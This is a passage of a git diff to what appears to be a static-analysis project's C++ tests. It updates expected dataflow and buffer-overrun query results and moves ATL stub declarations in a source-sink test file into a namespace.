@@ -154,6 +155,7 @@ nodes
 | test.cpp:143:18:143:21 | asdf | semmle.label | asdf |
 | test.cpp:146:26:146:26 | *p | semmle.label | *p |
 | test.cpp:147:4:147:9 | -- ... | semmle.label | -- ... |
+| test.cpp:147:4:147:9 | -- ... | semmle.label | -- ... |
 | test.cpp:154:7:154:9 | definition of buf | semmle.label | definition of buf |
 | test.cpp:156:12:156:14 | buf | semmle.label | buf |
 | test.cpp:156:12:156:18 | ... + ... | semmle.label | ... + ... |
@@ -224,6 +226,8 @@ subpaths
 | test.cpp:136:9:136:16 | PointerAdd: ... += ... | test.cpp:142:10:142:13 | definition of asdf | test.cpp:138:13:138:15 | arr | This pointer arithmetic may have an off-by-2 error allowing it to overrun $@ at this $@. | test.cpp:142:10:142:13 | asdf | asdf | test.cpp:138:12:138:15 | Load: * ... | read |
 | test.cpp:136:9:136:16 | PointerAdd: ... += ... | test.cpp:143:18:143:21 | asdf | test.cpp:138:13:138:15 | arr | This pointer arithmetic may have an off-by-2 error allowing it to overrun $@ at this $@. | test.cpp:142:10:142:13 | asdf | asdf | test.cpp:138:12:138:15 | Load: * ... | read |
 | test.cpp:156:12:156:18 | PointerAdd: ... + ... | test.cpp:154:7:154:9 | definition of buf | test.cpp:147:4:147:9 | -- ... | This pointer arithmetic may have an off-by-1 error allowing it to overrun $@ at this $@. | test.cpp:154:7:154:9 | buf | buf | test.cpp:147:3:147:13 | Store: ... = ... | write |
+| test.cpp:156:12:156:18 | PointerAdd: ... + ... | test.cpp:154:7:154:9 | definition of buf | test.cpp:147:4:147:9 | -- ... | This pointer arithmetic may have an off-by-1 error allowing it to overrun $@ at this $@. | test.cpp:154:7:154:9 | buf | buf | test.cpp:147:3:147:13 | Store: ... = ... | write |
+| test.cpp:156:12:156:18 | PointerAdd: ... + ... | test.cpp:156:12:156:14 | buf | test.cpp:147:4:147:9 | -- ... | This pointer arithmetic may have an off-by-1 error allowing it to overrun $@ at this $@. | test.cpp:154:7:154:9 | buf | buf | test.cpp:147:3:147:13 | Store: ... = ... | write |
 | test.cpp:156:12:156:18 | PointerAdd: ... + ... | test.cpp:156:12:156:14 | buf | test.cpp:147:4:147:9 | -- ... | This pointer arithmetic may have an off-by-1 error allowing it to overrun $@ at this $@. | test.cpp:154:7:154:9 | buf | buf | test.cpp:147:3:147:13 | Store: ... = ... | write |
 | test.cpp:221:5:221:11 | PointerAdd: access to array | test.cpp:217:19:217:24 | definition of buffer | test.cpp:221:5:221:11 | access to array | This pointer arithmetic may have an off-by-1 error allowing it to overrun $@ at this $@. | test.cpp:217:19:217:24 | buffer | buffer | test.cpp:221:5:221:15 | Store: ... = ... | write |
 | test.cpp:221:5:221:11 | PointerAdd: access to array | test.cpp:218:23:218:28 | buffer | test.cpp:221:5:221:11 | access to array | This pointer arithmetic may have an off-by-1 error allowing it to overrun $@ at this $@. | test.cpp:217:19:217:24 | buffer | buffer | test.cpp:221:5:221:15 | Store: ... = ... | write |
diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected
index c1dedd454b64..513c23e3c6eb 100644
--- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected
+++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected
@@ -31,8 +31,6 @@
 | example.c:17:21:17:21 | 0 | example.c:17:21:17:21 | 0 |
 | example.c:19:6:19:6 | *b | example.c:15:37:15:37 | *b |
 | example.c:19:6:19:6 | *b [post update] | example.c:15:37:15:37 | *b |
-| example.c:19:6:19:6 | *b [post update] | example.c:19:6:19:6 | *b |
-| example.c:19:6:19:6 | b [post update] | example.c:19:6:19:6 | b |
 | example.c:24:2:24:7 | *coords | example.c:26:18:26:24 | *& ... |
 | example.c:24:2:24:7 | *coords [post update] | example.c:26:18:26:24 | *& ... |
 | example.c:24:2:24:7 | coords | example.c:26:18:26:24 | & ... |
@@ -53,11 +51,9 @@
 | example.c:26:18:26:24 | *& ... | example.c:26:2:26:7 | *coords |
 | example.c:26:18:26:24 | getX output argument | example.c:26:2:26:7 | *coords |
 | example.c:26:18:26:24 | pointer to getX output argument | example.c:26:2:26:7 | coords |
-| example.c:26:19:26:24 | *coords | example.c:26:18:26:24 | *& ... |
 | example.c:26:19:26:24 | coords | example.c:26:18:26:24 | & ... |
 | example.c:28:22:28:25 | & ... | example.c:28:14:28:25 | & ... |
 | example.c:28:22:28:25 | *& ... | example.c:28:14:28:25 | *& ... |
-| example.c:28:23:28:25 | *pos | example.c:28:22:28:25 | *& ... |
 | example.c:28:23:28:25 | pos | example.c:28:22:28:25 | & ... |
 | test.cpp:6:12:6:17 | call to source | test.cpp:6:12:6:17 | call to source |
 | test.cpp:6:12:6:17 | call to source | test.cpp:7:8:7:9 | t1 |
@@ -69,34 +65,26 @@
 | test.cpp:8:8:8:9 | t1 | test.cpp:9:8:9:9 | t1 |
 | test.cpp:9:8:9:9 | t1 | test.cpp:11:7:11:8 | t1 |
 | test.cpp:9:8:9:9 | t1 | test.cpp:11:7:11:8 | t1 |
-| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | Phi input |
-| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | Phi input |
+| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi read(t2) |
+| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi(*t2) |
 | test.cpp:10:8:10:9 | t2 | test.cpp:13:10:13:11 | t2 |
-| test.cpp:11:7:11:8 | Phi input | test.cpp:15:3:15:6 | SSA phi read(t2) |
-| test.cpp:11:7:11:8 | Phi input | test.cpp:15:3:15:6 | SSA phi(*t2) |
+| test.cpp:11:7:11:8 | [input] SSA phi read(t2) | test.cpp:15:8:15:9 | t2 |
+| test.cpp:11:7:11:8 | [input] SSA phi(*t2) | test.cpp:15:8:15:9 | t2 |
 | test.cpp:11:7:11:8 | t1 | test.cpp:21:8:21:9 | t1 |
 | test.cpp:12:5:12:10 | ... = ... | test.cpp:13:10:13:11 | t2 |
 | test.cpp:12:10:12:10 | 0 | test.cpp:12:5:12:10 | ... = ... |
-| test.cpp:13:5:13:8 | Phi input | test.cpp:15:3:15:6 | SSA phi read(t2) |
-| test.cpp:13:5:13:8 | Phi input | test.cpp:15:3:15:6 | SSA phi(*t2) |
-| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | Phi input |
-| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | Phi input |
-| test.cpp:15:3:15:6 | SSA phi read(t2) | test.cpp:15:8:15:9 | t2 |
-| test.cpp:15:3:15:6 | SSA phi(*t2) | test.cpp:15:8:15:9 | t2 |
-| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | Phi input |
-| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | Phi input |
+| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 |
+| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 |
+| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(*t2) |
+| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(t2) |
 | test.cpp:17:3:17:8 | ... = ... | test.cpp:21:8:21:9 | t1 |
 | test.cpp:17:8:17:8 | 0 | test.cpp:17:3:17:8 | ... = ... |
-| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | Phi input |
-| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | Phi input |
+| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi read(t1) |
+| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi(*t1) |
 | test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | 0 |
-| test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | Phi input |
-| test.cpp:23:15:23:16 | Phi input | test.cpp:23:19:23:19 | SSA phi read(*t2) |
-| test.cpp:23:15:23:16 | Phi input | test.cpp:23:19:23:19 | SSA phi read(i) |
-| test.cpp:23:15:23:16 | Phi input | test.cpp:23:19:23:19 | SSA phi read(t1) |
-| test.cpp:23:15:23:16 | Phi input | test.cpp:23:19:23:19 | SSA phi read(t2) |
-| test.cpp:23:15:23:16 | Phi input | test.cpp:23:19:23:19 | SSA phi(*i) |
-| test.cpp:23:15:23:16 | Phi input | test.cpp:23:19:23:19 | SSA phi(*t1) |
+| test.cpp:23:15:23:16 | 0 | test.cpp:23:19:23:19 | SSA phi(*i) |
+| test.cpp:23:15:23:16 | [input] SSA phi read(*t2) | test.cpp:23:19:23:19 | SSA phi read(*t2) |
+| test.cpp:23:15:23:16 | [input] SSA phi read(t2) | test.cpp:23:19:23:19 | SSA phi read(t2) |
 | test.cpp:23:19:23:19 | SSA phi read(*t2) | test.cpp:24:10:24:11 | t2 |
 | test.cpp:23:19:23:19 | SSA phi read(i) | test.cpp:23:19:23:19 | i |
 | test.cpp:23:19:23:19 | SSA phi read(t1) | test.cpp:23:23:23:24 | t1 |
@@ -105,25 +93,25 @@
 | test.cpp:23:19:23:19 | SSA phi(*t1) | test.cpp:23:23:23:24 | t1 |
 | test.cpp:23:19:23:19 | i | test.cpp:23:27:23:27 | i |
 | test.cpp:23:19:23:19 | i | test.cpp:23:27:23:27 | i |
-| test.cpp:23:23:23:24 | t1 | test.cpp:23:27:23:29 | Phi input |
+| test.cpp:23:23:23:24 | t1 | test.cpp:23:27:23:29 | [input] SSA phi read(t1) |
 | test.cpp:23:23:23:24 | t1 | test.cpp:26:8:26:9 | t1 |
 | test.cpp:23:23:23:24 | t1 | test.cpp:26:8:26:9 | t1 |
 | test.cpp:23:27:23:27 | *i | test.cpp:23:27:23:27 | *i |
 | test.cpp:23:27:23:27 | *i | test.cpp:23:27:23:27 | i |
 | test.cpp:23:27:23:27 | i | test.cpp:23:27:23:27 | i |
 | test.cpp:23:27:23:27 | i | test.cpp:23:27:23:27 | i |
-| test.cpp:23:27:23:27 | i | test.cpp:23:27:23:29 | Phi input |
+| test.cpp:23:27:23:27 | i | test.cpp:23:27:23:29 | [input] SSA phi read(i) |
 | test.cpp:23:27:23:29 | ... ++ | test.cpp:23:27:23:29 | ... ++ |
-| test.cpp:23:27:23:29 | ... ++ | test.cpp:23:27:23:29 | Phi input |
-| test.cpp:23:27:23:29 | Phi input | test.cpp:23:19:23:19 | SSA phi read(*t2) |
-| test.cpp:23:27:23:29 | Phi input | test.cpp:23:19:23:19 | SSA phi read(i) |
-| test.cpp:23:27:23:29 | Phi input | test.cpp:23:19:23:19 | SSA phi read(t1) |
-| test.cpp:23:27:23:29 | Phi input | test.cpp:23:19:23:19 | SSA phi read(t2) |
-| test.cpp:23:27:23:29 | Phi input | test.cpp:23:19:23:19 | SSA phi(*i) |
-| test.cpp:23:27:23:29 | Phi input | test.cpp:23:19:23:19 | SSA phi(*t1) |
-| test.cpp:24:5:24:11 | ... = ... | test.cpp:23:27:23:29 | Phi input |
-| test.cpp:24:10:24:11 | t2 | test.cpp:23:27:23:29 | Phi input |
-| test.cpp:24:10:24:11 | t2 | test.cpp:23:27:23:29 | Phi input |
+| test.cpp:23:27:23:29 | ... ++ | test.cpp:23:27:23:29 | [input] SSA phi(*i) |
+| test.cpp:23:27:23:29 | [input] SSA phi read(*t2) | test.cpp:23:19:23:19 | SSA phi read(*t2) |
+| test.cpp:23:27:23:29 | [input] SSA phi read(i) | test.cpp:23:19:23:19 | SSA phi read(i) |
+| test.cpp:23:27:23:29 | [input] SSA phi read(t1) | test.cpp:23:19:23:19 | SSA phi read(t1) |
+| test.cpp:23:27:23:29 | [input] SSA phi read(t2) | test.cpp:23:19:23:19 | SSA phi read(t2) |
+| test.cpp:23:27:23:29 | [input] SSA phi(*i) | test.cpp:23:19:23:19 | SSA phi(*i) |
+| test.cpp:23:27:23:29 | [input] SSA phi(*t1) | test.cpp:23:19:23:19 | SSA phi(*t1) |
+| test.cpp:24:5:24:11 | ... = ... | test.cpp:23:27:23:29 | [input] SSA phi(*t1) |
+| test.cpp:24:10:24:11 | t2 | test.cpp:23:27:23:29 | [input] SSA phi read(*t2) |
+| test.cpp:24:10:24:11 | t2 | test.cpp:23:27:23:29 | [input] SSA phi read(t2) |
 | test.cpp:24:10:24:11 | t2 | test.cpp:24:5:24:11 | ... = ... |
 | test.cpp:382:48:382:54 | source1 | test.cpp:384:16:384:23 | *& ... |
 | test.cpp:383:12:383:13 | 0 | test.cpp:383:12:383:13 | 0 |
@@ -134,7 +122,6 @@
 | test.cpp:384:10:384:13 | *& ... | test.cpp:384:10:384:13 | *& ... |
 | test.cpp:384:10:384:13 | memcpy output argument | test.cpp:385:8:385:10 | tmp |
 | test.cpp:384:10:384:13 | pointer to memcpy output argument | test.cpp:385:8:385:10 | tmp |
-| test.cpp:384:11:384:13 | *tmp | test.cpp:384:10:384:13 | *& ... |
 | test.cpp:384:11:384:13 | tmp | test.cpp:384:10:384:13 | & ... |
 | test.cpp:384:16:384:23 | & ... | test.cpp:384:16:384:23 | & ... |
 | test.cpp:384:16:384:23 | *& ... | test.cpp:384:3:384:8 | **call to memcpy |
@@ -143,7 +130,6 @@
 | test.cpp:384:16:384:23 | *& ... | test.cpp:384:16:384:23 | *& ... |
 | test.cpp:384:16:384:23 | **& ... | test.cpp:384:3:384:8 | **call to memcpy |
 | test.cpp:384:16:384:23 | **& ... | test.cpp:384:10:384:13 | memcpy output argument |
-| test.cpp:384:17:384:23 | *source1 | test.cpp:384:16:384:23 | *& ... |
 | test.cpp:384:17:384:23 | source1 | test.cpp:384:16:384:23 | & ... |
 | test.cpp:388:53:388:59 | source1 | test.cpp:391:16:391:23 | *& ... |
 | test.cpp:388:66:388:66 | b | test.cpp:393:7:393:7 | b |
@@ -153,7 +139,6 @@
 | test.cpp:390:18:390:21 | & ... | test.cpp:391:10:391:13 | & ... |
 | test.cpp:390:18:390:21 | *& ... | test.cpp:390:18:390:21 | *& ... |
 | test.cpp:390:18:390:21 | *& ... | test.cpp:391:10:391:13 | *& ... |
-| test.cpp:390:19:390:21 | *tmp | test.cpp:390:18:390:21 | *& ... |
 | test.cpp:390:19:390:21 | tmp | test.cpp:390:18:390:21 | & ... |
 | test.cpp:391:10:391:13 | & ... | test.cpp:391:3:391:8 | call to memcpy |
 | test.cpp:391:10:391:13 | & ... | test.cpp:391:10:391:13 | & ... |
@@ -161,7 +146,6 @@
 | test.cpp:391:10:391:13 | *& ... | test.cpp:391:10:391:13 | *& ... |
 | test.cpp:391:10:391:13 | memcpy output argument | test.cpp:392:8:392:10 | tmp |
 | test.cpp:391:10:391:13 | pointer to memcpy output argument | test.cpp:392:8:392:10 | tmp |
-| test.cpp:391:11:391:13 | *tmp | test.cpp:391:10:391:13 | *& ... |
 | test.cpp:391:11:391:13 | tmp | test.cpp:391:10:391:13 | & ... |
 | test.cpp:391:16:391:23 | & ... | test.cpp:391:16:391:23 | & ... |
 | test.cpp:391:16:391:23 | *& ... | test.cpp:391:3:391:8 | **call to memcpy |
@@ -170,7 +154,6 @@
 | test.cpp:391:16:391:23 | *& ... | test.cpp:391:16:391:23 | *& ... |
 | test.cpp:391:16:391:23 | **& ... | test.cpp:391:3:391:8 | **call to memcpy |
 | test.cpp:391:16:391:23 | **& ... | test.cpp:391:10:391:13 | memcpy output argument |
-| test.cpp:391:17:391:23 | *source1 | test.cpp:391:16:391:23 | *& ... |
 | test.cpp:391:17:391:23 | source1 | test.cpp:391:16:391:23 | & ... |
 | test.cpp:392:8:392:10 | tmp | test.cpp:394:10:394:12 | tmp |
 | test.cpp:392:8:392:10 | tmp | test.cpp:394:10:394:12 | tmp |
@@ -196,8 +179,6 @@
 | test.cpp:488:24:488:30 | content | test.cpp:488:21:488:30 | content |
 | test.cpp:489:20:489:20 | *s | test.cpp:487:67:487:67 | *s |
 | test.cpp:489:20:489:20 | *s [post update] | test.cpp:487:67:487:67 | *s |
-| test.cpp:489:20:489:20 | *s [post update] | test.cpp:489:20:489:20 | *s |
-| test.cpp:489:20:489:20 | s [post update] | test.cpp:489:20:489:20 | s |
 | test.cpp:489:23:489:29 | *content | test.cpp:489:23:489:29 | *content |
 | test.cpp:489:23:489:29 | *content | test.cpp:490:8:490:17 | * ... |
 | test.cpp:489:23:489:29 | content | test.cpp:489:23:489:29 | content |
@@ -209,5 +190,4 @@
 | test.cpp:1087:3:1087:3 | a [post update] | test.cpp:1088:8:1088:9 | & ... |
 | test.cpp:1087:15:1087:21 | 0 | test.cpp:1087:3:1087:21 | ... = ... |
 | test.cpp:1087:15:1087:21 | *0 | test.cpp:1087:3:1087:21 | *... = ... |
-| test.cpp:1088:9:1088:9 | *a | test.cpp:1088:8:1088:9 | *& ... |
 | test.cpp:1088:9:1088:9 | a | test.cpp:1088:8:1088:9 | & ... |
diff --git a/cpp/ql/test/library-tests/dataflow/source-sink-tests/atl.cpp b/cpp/ql/test/library-tests/dataflow/source-sink-tests/atl.cpp
index 7df5e3dc1a08..243401955172 100644
--- a/cpp/ql/test/library-tests/dataflow/source-sink-tests/atl.cpp
+++ b/cpp/ql/test/library-tests/dataflow/source-sink-tests/atl.cpp
@@ -13,377 +13,381 @@ typedef long long LONGLONG;
 typedef unsigned long* ULONG_PTR;
 typedef char *LPTSTR;
 typedef DWORD* LPDWORD;
-typedef ULONG REGSAM;
-typedef DWORD SECURITY_INFORMATION, *PSECURITY_INFORMATION;
-typedef PVOID PSECURITY_DESCRIPTOR;
-typedef struct _GUID {
-  unsigned long  Data1;
-  unsigned short Data2;
-  unsigned short Data3;
-  unsigned char  Data4[8];
-} GUID;
-typedef GUID* REFGUID;
-
-typedef struct _SECURITY_ATTRIBUTES {
-  DWORD  nLength;
-  LPVOID lpSecurityDescriptor;
-  BOOL   bInheritHandle;
-} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
-
-typedef struct _FILETIME {
-  DWORD dwLowDateTime;
-  DWORD dwHighDateTime;
-} FILETIME, *PFILETIME, *LPFILETIME;
 
 using size_t = decltype(sizeof(int));
 using SIZE_T = size_t;
 
-typedef struct _OVERLAPPED {
-  ULONG_PTR Internal;
-  ULONG_PTR InternalHigh;
-  union {
-    struct {
-      DWORD Offset;
-      DWORD OffsetHigh;
-    } DUMMYSTRUCTNAME;
-    PVOID Pointer;
-  } DUMMYUNIONNAME;
-  HANDLE    hEvent;
-} OVERLAPPED, *LPOVERLAPPED;
-
-using LPOVERLAPPED_COMPLETION_ROUTINE = void(DWORD, DWORD, LPOVERLAPPED);
-
-using HKEY = void*;
-
-class CAtlTransactionManager;
-
-class CHandle {
-  CHandle() throw();
-  CHandle(CHandle& h) throw();
-  explicit CHandle(HANDLE h) throw();
-};
-
-struct CAtlFile : public CHandle {
-  CAtlFile() throw();
-  CAtlFile(CAtlTransactionManager* pTM) throw();
-  CAtlFile(CAtlFile& file) throw();
-  explicit CAtlFile(HANDLE hFile) throw();
-
-  HRESULT Create(
-    LPCTSTR szFilename,
-    DWORD dwDesiredAccess,
-    DWORD dwShareMode,
-    DWORD dwCreationDisposition,
-    DWORD dwFlagsAndAttributes,
-    LPSECURITY_ATTRIBUTES lpsa,
-    HANDLE hTemplateFile) throw();
+namespace ATL {
+
+  typedef ULONG REGSAM;
+  typedef DWORD SECURITY_INFORMATION, *PSECURITY_INFORMATION;
+  typedef PVOID PSECURITY_DESCRIPTOR;
+  typedef struct _GUID {
+    unsigned long  Data1;
+    unsigned short Data2;
+    unsigned short Data3;
+    unsigned char  Data4[8];
+  } GUID;
+  typedef GUID* REFGUID;
+
+  typedef struct _SECURITY_ATTRIBUTES {
+    DWORD  nLength;
+    LPVOID lpSecurityDescriptor;
+    BOOL   bInheritHandle;
+  } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
+
+  typedef struct _FILETIME {
+    DWORD dwLowDateTime;
+    DWORD dwHighDateTime;
+  } FILETIME, *PFILETIME, *LPFILETIME;
+
+  typedef struct _OVERLAPPED {
+    ULONG_PTR Internal;
+    ULONG_PTR InternalHigh;
+    union {
+      struct {
+        DWORD Offset;
+        DWORD OffsetHigh;
+      } DUMMYSTRUCTNAME;
+      PVOID Pointer;
+    } DUMMYUNIONNAME;
+    HANDLE    hEvent;
+  } OVERLAPPED, *LPOVERLAPPED;
+
+  using LPOVERLAPPED_COMPLETION_ROUTINE = void(DWORD, DWORD, LPOVERLAPPED);
+
+  using HKEY = void*;
+
+  class CAtlTransactionManager;
+
+  class CHandle {
+    CHandle() throw();
+    CHandle(CHandle& h) throw();
+    explicit CHandle(HANDLE h) throw();
+  };
+
+  struct CAtlFile : public CHandle {
+    CAtlFile() throw();
+    CAtlFile(CAtlTransactionManager* pTM) throw();
+    CAtlFile(CAtlFile& file) throw();
+    explicit CAtlFile(HANDLE hFile) throw();
+
+    HRESULT Create(
+      LPCTSTR szFilename,
+      DWORD dwDesiredAccess,
+      DWORD dwShareMode,
+      DWORD dwCreationDisposition,
+      DWORD dwFlagsAndAttributes,
+      LPSECURITY_ATTRIBUTES lpsa,
+      HANDLE hTemplateFile) throw();
+
+      HRESULT Flush() throw();
+      HRESULT GetOverlappedResult(
+        LPOVERLAPPED pOverlapped,
+        DWORD& dwBytesTransferred,
+        BOOL bWait
+      ) throw();
+
+      HRESULT GetPosition(ULONGLONG& nPos) const throw();
+      HRESULT GetSize(ULONGLONG& nLen) const throw();
+      HRESULT LockRange(ULONGLONG nPos, ULONGLONG nCount) throw();
+      
+      HRESULT Read(
+      LPVOID pBuffer,
+      DWORD nBufSize) throw();
 
+    HRESULT Read(
+        LPVOID pBuffer,
+        DWORD nBufSize,
+        DWORD& nBytesRead) throw();
+    HRESULT Read(
+        LPVOID pBuffer,
+        DWORD nBufSize,
+        LPOVERLAPPED pOverlapped) throw();
+    HRESULT Read(
+        LPVOID pBuffer,
+        DWORD nBufSize,
+        LPOVERLAPPED pOverlapped,
+        LPOVERLAPPED_COMPLETION_ROUTINE pfnCompletionRoutine) throw();
+
+    HRESULT Seek(
+      LONGLONG nOffset,
+      DWORD dwFrom) throw();
+
+    HRESULT SetSize(ULONGLONG nNewLen) throw();
+    HRESULT UnlockRange(ULONGLONG nPos, ULONGLONG nCount) throw();
+    HRESULT Write(
+        LPCVOID pBuffer,
+        DWORD nBufSize,
+        LPOVERLAPPED pOverlapped,
+        LPOVERLAPPED_COMPLETION_ROUTINE pfnCompletionRoutine) throw();
+
+    HRESULT Write(
+        LPCVOID pBuffer,
+        DWORD nBufSize,
+        DWORD* pnBytesWritten) throw();
+
+    HRESULT Write(
+        LPCVOID pBuffer,
+        DWORD nBufSize,
+        LPOVERLAPPED pOverlapped) throw();
+  };
+
+  void test_CAtlFile() {
+    CAtlFile catFile;
+    char buffer[1024];
+    catFile.Read(buffer, 1024); // $ local_source
+  }
+
+  struct CAtlFileMappingBase {
+    CAtlFileMappingBase(CAtlFileMappingBase& orig);
+    CAtlFileMappingBase() throw();
+    ~CAtlFileMappingBase() throw();
+
+    HRESULT CopyFrom(CAtlFileMappingBase& orig) throw();
+    void* GetData() const throw();
+    HANDLE GetHandle() throw ();
+    SIZE_T GetMappingSize() throw();
+
+    HRESULT MapFile(
+        HANDLE hFile,
+        SIZE_T nMappingSize,
+        ULONGLONG nOffset,
+        DWORD dwMappingProtection,
+        DWORD dwViewDesiredAccess) throw();
+
+      HRESULT MapSharedMem(
+        SIZE_T nMappingSize,
+        LPCTSTR szName,
+        BOOL* pbAlreadyExisted,
+        LPSECURITY_ATTRIBUTES lpsa,
+        DWORD dwMappingProtection,
+        DWORD dwViewDesiredAccess) throw();
+
+      HRESULT OpenMapping(
+        LPCTSTR szName,
+        SIZE_T nMappingSize,
+        ULONGLONG nOffset,
+        DWORD dwViewDesiredAccess) throw();
+
+      HRESULT Unmap() throw();
+  };
+
+  template <typename T>
+  struct CAtlFileMapping : public CAtlFileMappingBase {
+    operator T*() const throw();
+  };
+
+  void test_CAtlFileMapping(CAtlFileMapping<char> mapping) {
+    char* data = static_cast<char*>(mapping); // $ local_source
+    void* data2 = mapping.GetData(); // $ local_source
+  }
+
+  struct CAtlTemporaryFile {
+    CAtlTemporaryFile() throw();
+    ~CAtlTemporaryFile() throw();
+    HRESULT Close(LPCTSTR szNewName) throw();
+    HRESULT Create(LPCTSTR pszDir, DWORD dwDesiredAccess) throw();
     HRESULT Flush() throw();
-    HRESULT GetOverlappedResult(
-      LPOVERLAPPED pOverlapped,
-      DWORD& dwBytesTransferred,
-      BOOL bWait
-    ) throw();
-
     HRESULT GetPosition(ULONGLONG& nPos) const throw();
     HRESULT GetSize(ULONGLONG& nLen) const throw();
+    HRESULT HandsOff() throw();
+    HRESULT HandsOn() throw();
     HRESULT LockRange(ULONGLONG nPos, ULONGLONG nCount) throw();
-    
+
     HRESULT Read(
-    LPVOID pBuffer,
-    DWORD nBufSize) throw();
+        LPVOID pBuffer,
+        DWORD nBufSize,
+        DWORD& nBytesRead) throw();
+        HRESULT Seek(LONGLONG nOffset, DWORD dwFrom) throw();
+    
+    HRESULT SetSize(ULONGLONG nNewLen) throw();
+    LPCTSTR TempFileName() throw();
+    HRESULT UnlockRange(ULONGLONG nPos, ULONGLONG nCount) throw();
+    
+    HRESULT Write(
+        LPCVOID pBuffer,
+        DWORD nBufSize,
+        DWORD* pnBytesWritten) throw();
+        operator HANDLE() throw();
+  };
+
+  void test_CAtlTemporaryFile() {
+    CAtlTemporaryFile file;
+    char buffer[1024];
+    DWORD bytesRead;
+    file.Read(buffer, 1024, bytesRead); // $ local_source
+  }
+
+  struct CRegKey {
+    CRegKey() throw();
+    CRegKey(CRegKey& key) throw();
+    explicit CRegKey(HKEY hKey) throw();
+    CRegKey(CAtlTransactionManager* pTM) throw();
+
+    ~CRegKey() throw();
+    void Attach(HKEY hKey) throw();
+    LONG Close() throw();
+
+    LONG Create(
+      HKEY hKeyParent,
+      LPCTSTR lpszKeyName,
+      LPTSTR lpszClass,
+      DWORD dwOptions,
+      REGSAM samDesired,
+      LPSECURITY_ATTRIBUTES lpSecAttr,
+      LPDWORD lpdwDisposition) throw();
+
+    LONG DeleteSubKey(LPCTSTR lpszSubKey) throw();
+    LONG DeleteValue(LPCTSTR lpszValue) throw();
+    HKEY Detach() throw();
+    
+    LONG EnumKey(
+      DWORD iIndex,
+      LPTSTR pszName,
+      LPDWORD pnNameLength,
+      FILETIME* pftLastWriteTime) throw();
+    
+    LONG Flush() throw();
 
-  HRESULT Read(
-      LPVOID pBuffer,
-      DWORD nBufSize,
-      DWORD& nBytesRead) throw();
-  HRESULT Read(
-      LPVOID pBuffer,
-      DWORD nBufSize,
-      LPOVERLAPPED pOverlapped) throw();
-  HRESULT Read(
-      LPVOID pBuffer,
-      DWORD nBufSize,
-      LPOVERLAPPED pOverlapped,
-      LPOVERLAPPED_COMPLETION_ROUTINE pfnCompletionRoutine) throw();
-
-  HRESULT Seek(
-    LONGLONG nOffset,
-    DWORD dwFrom) throw();
-
-  HRESULT SetSize(ULONGLONG nNewLen) throw();
-  HRESULT UnlockRange(ULONGLONG nPos, ULONGLONG nCount) throw();
-  HRESULT Write(
-      LPCVOID pBuffer,
-      DWORD nBufSize,
-      LPOVERLAPPED pOverlapped,
-      LPOVERLAPPED_COMPLETION_ROUTINE pfnCompletionRoutine) throw();
-
-  HRESULT Write(
-      LPCVOID pBuffer,
-      DWORD nBufSize,
-      DWORD* pnBytesWritten) throw();
-
-  HRESULT Write(
-      LPCVOID pBuffer,
-      DWORD nBufSize,
-      LPOVERLAPPED pOverlapped) throw();
-};
-
-void test_CAtlFile() {
-  CAtlFile catFile;
-  char buffer[1024];
-  catFile.Read(buffer, 1024); // $ local_source
-}
-
-struct CAtlFileMappingBase {
-  CAtlFileMappingBase(CAtlFileMappingBase& orig);
-  CAtlFileMappingBase() throw();
-  ~CAtlFileMappingBase() throw();
-
-  HRESULT CopyFrom(CAtlFileMappingBase& orig) throw();
-  void* GetData() const throw();
-  HANDLE GetHandle() throw ();
-  SIZE_T GetMappingSize() throw();
-
-  HRESULT MapFile(
-      HANDLE hFile,
-      SIZE_T nMappingSize,
-      ULONGLONG nOffset,
-      DWORD dwMappingProtection,
-      DWORD dwViewDesiredAccess) throw();
-
-    HRESULT MapSharedMem(
-      SIZE_T nMappingSize,
-      LPCTSTR szName,
-      BOOL* pbAlreadyExisted,
-      LPSECURITY_ATTRIBUTES lpsa,
-      DWORD dwMappingProtection,
-      DWORD dwViewDesiredAccess) throw();
-
-    HRESULT OpenMapping(
-      LPCTSTR szName,
-      SIZE_T nMappingSize,
-      ULONGLONG nOffset,
-      DWORD dwViewDesiredAccess) throw();
-
-    HRESULT Unmap() throw();
-};
-
-template <typename T>
-struct CAtlFileMapping : public CAtlFileMappingBase {
-  operator T*() const throw();
-};
-
-void test_CAtlFileMapping(CAtlFileMapping<char> mapping) {
-  char* data = static_cast<char*>(mapping); // $ local_source
-  void* data2 = mapping.GetData(); // $ local_source
-}
-
-struct CAtlTemporaryFile {
-  CAtlTemporaryFile() throw();
-  ~CAtlTemporaryFile() throw();
-  HRESULT Close(LPCTSTR szNewName) throw();
-  HRESULT Create(LPCTSTR pszDir, DWORD dwDesiredAccess) throw();
-  HRESULT Flush() throw();
-  HRESULT GetPosition(ULONGLONG& nPos) const throw();
-  HRESULT GetSize(ULONGLONG& nLen) const throw();
-  HRESULT HandsOff() throw();
-  HRESULT HandsOn() throw();
-  HRESULT LockRange(ULONGLONG nPos, ULONGLONG nCount) throw();
-
-  HRESULT Read(
-      LPVOID pBuffer,
